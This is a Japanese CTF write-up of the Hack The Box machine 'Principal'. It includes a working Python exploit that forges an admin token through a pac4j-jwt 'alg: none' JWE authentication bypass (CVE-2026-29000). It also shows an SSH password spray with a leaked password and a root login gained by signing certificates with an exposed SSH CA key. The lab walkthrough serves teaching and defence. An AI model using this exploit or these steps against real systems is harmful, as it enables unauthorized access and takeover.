本記事では、Hack The Box の Principal を攻略した手順を解説します。
1. ポートスキャン
まずは nmap でターゲットのポートを調査します。
$ nmap -A -T4 -Pn -oN report_principal principal.htb
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy syn-ack ttl 63 Jetty
|_http-title: Principal Internal Platform - Login
| fingerprint-strings:
| FourOhFourRequest:
| X-Powered-By: pac4j-jwt/6.0.3
主な開放ポート:
- 22/tcp (SSH) : OpenSSH 9.6p1
-
8080/tcp (HTTP) : Jetty +
pac4j-jwt/6.0.3
2. Webページ調査
ブラウザでhttp://principal.htb:8080/ にアクセスすると /login へリダイレクトされます。
ページのソースコードをみると/static/js/app.jsを参照していて、その内容から以下のエンドポイントが判明しました。
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
app.jsのコメントに以下の記載がありました。
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
トークンは JWE(JSON Web Encryption) で保護されており、内部に RS256 署名済み JWT が格納されている構成です。
/api/auth/jwks から RSA 公開鍵を取得できます。
$ curl -s "http://principal.htb:8080/api/auth/jwks" | jq
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE..."
}
]
}
さらにapp.jsの以下の箇所よりセッションストレージに保存されたトークンがAuthorizationヘッダーに付与されてAPIにリクエストされることもわかります。
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
...SNIP...
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
// API client
class ApiClient {
static async request(endpoint, options = {}) {
const defaults = {
headers: {
'Content-Type': 'application/json',
...TokenManager.getAuthHeaders()
}
};
3. 脆弱性調査・CVE-2026-29000 の利用
X-Powered-By: pac4j-jwt/6.0.3 というヘッダーに注目しました。
CVE-2026-29000 は pac4j-jwt の JWE 検証における認証バイパス脆弱性です。
攻撃の仕組み
pac4j-jwt は JWE を復号した後、内部の JWT の署名検証を行います。
しかしこのバージョンでは、内部 JWT のアルゴリズムが "alg": "none" の PlainJWT であっても検証をスキップしてしまいます。
攻撃の流れ:
-
/api/auth/jwksからサーバーの RSA 公開鍵を取得 -
alg: noneの PlainJWT に admin クレームを詰め込む - サーバーの RSA 公開鍵で JWE として暗号化
- 偽造トークンで認証済みエンドポイントにアクセス
エクスプロイトスクリプト
#!/usr/bin/env python3
import httpx
import base64
import time
import json
from jwcrypto import jwk, jwe
def request(endpoint, **kwargs):
with httpx.Client() as client:
target = f"http://principal.htb:8080{endpoint}"
method = kwargs.pop("method", "GET")
header = kwargs.pop("headers", {})
r = client.request(method, target, headers=header)
return r
def b64url_encode(data):
# 対象をURL safeなbase64に変換する
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def forge_token(pub_key, kid):
# jwt作成
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode())
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600
}).encode())
plain_jwt = f"{header}.{payload}."
# jwe作成
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": kid,
"cty": "JWT"
})
)
return jwe_token.serialize(compact=True)
if __name__ == "__main__":
resp = request("/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data)
forged_token = forge_token(pub_key, key_data["kid"])
resp = request(
"/api/dashboard", headers={"Authorization": f"Bearer {forged_token}"})
data = resp.json()
resp.raise_for_status()
if resp.status_code == 200:
print(f"[+] Token: {forged_token}")
else:
print(f"[-] Error: {resp.status_code}")
実行結果
$ python scripts/get_token.py
[+] Token: eyJhbGciOiAiUlNBLU9BRVAtMjU2...
admin として認証に成功しました。
4. ダッシュボードからパスワードを取得
取得したトークンをブラウザのセッションストレージにセットしてダッシュボードを確認してみます。

settings>System Settings>Securityの項目でencryptionKeyパスワードの情報が取得できました。

5. ユーザー一覧の取得
取得した JWE トークンで /api/users にアクセスし、ユーザー一覧を取得します。
$ curl -H "Authorization: Bearer <TOKEN>" http://principal.htb:8080/api/users \
| jq .users[].username | sed 's/^"//; s/"$//' | tee user.txt
admin
svc-deploy
jthompson
amorales
bwright
kkumar
mwilson
lzhang
5. パスワードスプレー
取得したパスワードとユーザー一覧を使って、パスワードスプレー攻撃を実施します。
$ nxc ssh principal.htb -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.244.220 22 principal.htb [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.244.220 22 principal.htb [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
svc-deploy ユーザーでのログインに成功しました。
6. SSHログイン・内部調査
$ ssh svc-deploy@principal.htb
ユーザーの所属グループを確認します。
svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
deployers グループに所属しています。
deployers グループに権限のあるファイルを一覧表示。
svc-deploy@principal:~$ find / -group deployers 2>/dev/null
/etc/ssh/sshd_config.d/60-principal.conf
/opt/principal/ssh
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca
/opt/principal/ssh/ を確認します。
svc-deploy@principal:/opt/principal/ssh$ ls -al
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
drwxr-xr-x 5 root root 4096 Mar 11 04:22 ..
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
SSH の CA 鍵ペアが置かれており、ca は CA 秘密鍵 です。
README.txt を確認します。
svc-deploy@principal:/opt/principal/ssh$ cat README.txt
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
sshd の設定を確認します。
svc-deploy@principal:/opt/principal/ssh$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
各設定の意味:
| 設定項目 | 意味 |
|---|---|
PubkeyAuthentication yes |
公開鍵認証・証明書認証を有効化 |
PermitRootLogin prohibit-password |
root のパスワードログインは禁止。ただし証明書認証なら root ログイン可能 |
TrustedUserCAKeys /opt/principal/ssh/ca.pub |
この CA 公開鍵で検証に成功したユーザー証明書を信頼する |
ca 秘密鍵で root プリンシパルの SSH 証明書を発行できれば、root としてログインできます。
7. SSH CA証明書署名による root 権限昇格
手順
# 1) クライアント用鍵ペアを作成
svc-deploy@principal:~$ ssh-keygen -t ed25519 -f ./id_ed25519_svc -N ""
# 2) CA秘密鍵で公開鍵を署名してSSH証明書を作成
# -I: 証明書ID
# -n: 許可プリンシパル(ログインユーザ名)→ root を指定
# -V: 有効期限(10分)
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca \
-I svc-deploy-cert \
-n root \
-V +10m \
./id_ed25519_svc.pub
# 3) 証明書の内容を確認
svc-deploy@principal:~$ ssh-keygen -L -f ./id_ed25519_svc-cert.pub
# 4) 証明書付きで root として接続
svc-deploy@principal:~$ ssh -i ./id_ed25519_svc \
-o CertificateFile=./id_ed25519_svc-cert.pub \
root@principal.htb
結果
root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)
root 権限の取得に成功しました。
まとめ
| ステップ | 内容 |
|---|---|
| ポートスキャン | 8080/tcp で Jetty + pac4j-jwt/6.0.3 を発見 |
| 認証バイパス | CVE-2026-29000 で PlainJWT を JWE に包んで admin トークンを偽造 |
| ユーザー収集 |
/api/users から 8 ユーザーを取得 |
| パスワードスプレー |
svc-deploy ユーザーで SSH ログイン成功 |
| 権限昇格 |
deployers グループ経由で CA 秘密鍵にアクセスし、root 証明書を発行 |
JWE の「暗号化」と JWT の「署名検証」は別物であるにもかかわらず、pac4j-jwt がその区別を適切に扱えていなかったことが今回の脆弱性の本質です。
また、SSH CA 証明書の運用においては、CA 秘密鍵へのアクセス権限の管理 が非常に重要であることが分かりました。
